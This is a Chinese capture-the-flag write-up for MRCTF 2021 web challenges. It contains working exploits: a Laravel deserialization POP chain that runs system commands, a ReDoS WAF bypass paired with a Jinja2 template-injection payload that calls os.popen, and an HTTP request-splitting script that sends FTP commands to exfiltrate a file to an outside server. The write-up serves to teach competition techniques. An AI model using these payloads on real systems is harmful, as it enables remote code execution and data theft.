MRCTF 2021 WEB WP

上班划水看题,罪过罪过

ez_larave1

不算难,中间倒是因为出题人设置的key卡了一会儿

www.zip拿到源码

先来看看路由/app/Http/Controllers/TaskController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace App\Http\Controllers;

class TaskController
{
public function index(){
if(isset($_GET['action']) && preg_match('/serialize\/*$/i', $_GET['action'])){
echo "no";
exit(1);
}
if(preg_match('/serialize/i', basename( $_GET['action']))){
if(isset($_GET['ser'])){
echo "serialize";
$ser = $_GET['ser'];
unserialize($ser);
return ;
}else{
echo "no unserialization";
return ;
}
}
}
}
error_reporting(-1);
$a = new TaskController();
$a ->index();
?>

有个反序列化,跟进一下哪里用到了这个index()

找到定义路由的文件routes/web.php

1
2
3
4
5
6
<?php
Route::get('/', function () {
return view('welcome');
});

Route::get('/hello','TaskController@index');

即访问/hello即可控制反序列化

然后diff一下Laravel 5.7源码,看看做了哪些改动

diff1:pop链起点被修改

注意到Laravel 5.7反序列化RCE的起点类

/vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php

image-20210419230522092

被改掉了,那只有另选魔法函数做起点

diff2:pop链重要函数增加限制

注意到后面的重要函数run()也被做了改动

1
2
3
4
5
6
7
8
//菜菜的Crispr只好把key藏在public下的.axxxxx.txt中,你能帮他找找吗?
public function run()
{
if(!isset($_GET['key']) || $_GET['key'] !== '******************'){
return ;
}
//省略
}

解题

对比完题目所做的修改,那就来一步步解题吧

先是访问hello路由那里有个小限制

image-20210419232459860

使用空格即可绕过

?action=serialize%20&ser=...

然后是pop链起点的问题,全局搜一下__destruct(,第一个就是能用的

image-20210419232731588

直接用call_usr_func来调用PendingCommand类的excute

1
2
3
4
public function execute()
{
return $this->run();
}

问题解决

最后一个问题,如何获得key,即.axxxxx.txt的文件名

考虑到该文件至少存在五位的未知字符,放弃爆破

想到整个题目,我们能够找到的漏洞点只有反序列化,那肯定是需要找到一个魔法函数来读取public目录文件的

再去仔细看了看diff,找到/vendor/laravel/framework/src/Illuminate/Filesystem/Filesystem.php

image-20210419233533805

文件类操作,又是在魔法函数中,有点可疑。查一查FilesystemIterator类的作用

image-20210419233957357

Bingo!

再找一下能显示出读取目录结果的类

image-20210419234400566

找到/vendor/symfony/http-foundation/Response.php

1
2
3
4
5
6
public function sendContent()
{
echo $this->content;

return $this;
}

攻击链构造完成

接下来就是写反序列化EXP,就不多说了

EXP

EXP1:读取public目录的txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Illuminate\Filesystem{
class Filesystem{
}
}

namespace Symfony\Component\HttpFoundation{
class Response
{
public $content;
}
}

namespace GuzzleHttp\Psr7{
class FnStream {
public function __construct($func){
$this->_fn_close = $func;
}
}
}

namespace{
use GuzzleHttp\Psr7\FnStream;
$response = new Symfony\Component\HttpFoundation\Response();
$response->content = new Illuminate\Filesystem\Filesystem();
$fnstream = new FnStream(array($response,'sendContent'));
echo urlencode(serialize($fnstream));

}

/hello?action=serialize%20&ser=O%3A24%3A"GuzzleHttp%5CPsr7%5CFnStream"%3A1%3A%7Bs%3A9%3A"_fn_close"%3Ba%3A2%3A%7Bi%3A0%3BO%3A41%3A"Symfony%5CComponent%5CHttpFoundation%5CResponse"%3A1%3A%7Bs%3A7%3A"content"%3BO%3A32%3A"Illuminate%5CFilesystem%5CFilesystem"%3A0%3A%7B%7D%7Di%3A1%3Bs%3A11%3A"sendContent"%3B%7D%7D

image-20210419234541326

访问即可

image-20210419235032261

EXP2:命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
namespace GuzzleHttp\Psr7{
class FnStream {
public function __construct($func){
$this->_fn_close = $func;
}
}
}


namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}

namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation{
class Application{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace{

use GuzzleHttp\Psr7\FnStream;

$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));
$fnstream = new FnStream(array($pendingcommand,'execute'));
echo urlencode(serialize($fnstream));

}

/hello?action=serialize%20&key=W3lc0Me_2_MRCTF_2O2l&ser=O%3A24%3A"GuzzleHttp%5CPsr7%5CFnStream"%3A1%3A%7Bs%3A9%3A"_fn_close"%3Ba%3A2%3A%7Bi%3A0%3BO%3A44%3A"Illuminate%5CFoundation%5CTesting%5CPendingCommand"%3A4%3A%7Bs%3A4%3A"test"%3BO%3A22%3A"Faker%5CDefaultGenerator"%3A1%3A%7Bs%3A10%3A"%00%2A%00default"%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A"1"%3B%7D%7Ds%3A6%3A"%00%2A%00app"%3BO%3A33%3A"Illuminate%5CFoundation%5CApplication"%3A1%3A%7Bs%3A12%3A"%00%2A%00instances"%3Ba%3A1%3A%7Bs%3A35%3A"Illuminate%5CContracts%5CConsole%5CKernel"%3BO%3A33%3A"Illuminate%5CFoundation%5CApplication"%3A1%3A%7Bs%3A12%3A"%00%2A%00instances"%3Ba%3A1%3A%7Bs%3A35%3A"Illuminate%5CContracts%5CConsole%5CKernel"%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A"%00%2A%00command"%3Bs%3A6%3A"system"%3Bs%3A13%3A"%00%2A%00parameters"%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A"cat+%2Fflag"%3B%7D%7Di%3A1%3Bs%3A7%3A"execute"%3B%7D%7D

image-20210419235512527

wwwafed_app

这道题的考点是ReDos,以前倒没遇到过,学习了

/source扫到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os

app = Flask(__name__)

@app.route("/")
def index():
return render_template('index.html')

@app.route("/waf")
def wafsource():
return open("waf.py").read()

@app.route("/source")
def appsource():
return open(__file__).read()

@app.route("/api/spider/<url>")
def spider(url):
url = base64.b64decode(url).decode('utf-8')
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()
if block == "PASS":
try:
req = requests.get("http://"+url,timeout=5)
return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
return Template("访问{}失败!".format(safeurl)).render()
else:
return Template("WAF已拦截,请不要乱输入参数!").render()

if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)

waf.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re,sys
import timeout_decorator

@timeout_decorator.timeout(5)
def waf(url):
# only xxx.yy-yy.zzz.mrctf.fun allow
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
if re.match(pat,url) is None:
print("BLOCK",end='') # 拦截
else:
print("PASS",end='') # 不拦截

if __name__ == "__main__":
try:
waf(sys.argv[1])
except:
print("PASS",end='')

在下面的代码有命令执行语句的拼接

1
2
3
url = base64.b64decode(url).decode('utf-8')
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()

但用到了shlex.quote,所以无法通过命令拼接来RCE,不过这里还有很明显的SSTI

现在唯一的问题是如何去绕过waf

waf.py有个@timeout_decorator.timeout(5),而里面waf的正则存在ReDos的问题

Redos攻击

正则表达式拒绝服务-ReDoS

简单来说,就是因为正则错误的写法,导致服务器对特定模式的字符串进行匹配时会进行回溯

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x \> 10

如上举例的正则,当我们输入类似aaaaaaaaaaaaaaaaaaaaaaaaaa时就会使系统挂起

不同的机器性能的不一致,会导致最小输入长度略有变化

回到题目中的正则,里面有一段

(([0-9a-z]|-)+|[0-9a-z]\.)+

[0-9a-z]简化一下,就是((a|-)+|a\.)+,符合上面第一个例子(a+)+

那么waf的绕过方式也显而易见了,使用reDos使得运行时间超过5s

最终payload

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{a.__init__.__globals__.__builtins__.__import__("os").popen("whoami").read()}}

Half-Nosqli

没时间看了,跟着官方wp☁️复现一下

大概流程是

  • 扫到docs,拿到api

  • NoSQL永真式登录

  • 利用http请求拆分打ftp

    感觉最近node题考http请求拆分貌似特别多

记一下打ftp的过程

攻击ftp需要用到匿名用户anonymous,密码随便输入(使用ftp匿名模式登录)

然后需要的就是使用ftp命令来读取flag

这里可以找到ftp的命令列表,构造传输命令如下

1
2
3
4
5
6
USER anonymous
PASS 123
CWD files
TYPE A
PROT 106,15,121,121,4,210
RETR flag
  • 使用匿名用户anonymous登陆

  • 切换进files文件夹

  • 使用ASCII传输模式(TYPE 1

  • 使用主动传输,并指定vps和端口为106.15.121.121:1234PROT

    PS:最后的两段数字表示端口,但需要经过计算,如我设置的4,210,可得4*256 + 210 = 1234

  • 传输flagRETR

结合http请求拆分,生成payload

还有一个小坑点,node的http模块只支持解析http协议,所以我们不能使用ftp协议,只能通过http协议来构造ftp的tcp数据包

(嫖的出题师傅脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests as req

headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}

url_payload = "http://ftp:8899/"

payload ='''
USER anonymous
PASS 123
CWD files
TYPE A
PROT 106,15,121,121,4,210
RETR flag
'''.replace("\n","\r\n")



def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0xff00+ord(i))
return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")

#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")

url_payload = url_payload + payload_encode(payload)
json = {
"url":url_payload
}

r = req.post(url+"home",headers=headers,json=json)
print(r.text)

nc监听一下端口即可得到flag

web_check_in

Web_Pwn,咕一手,等学了PWN再说吧。。。

评论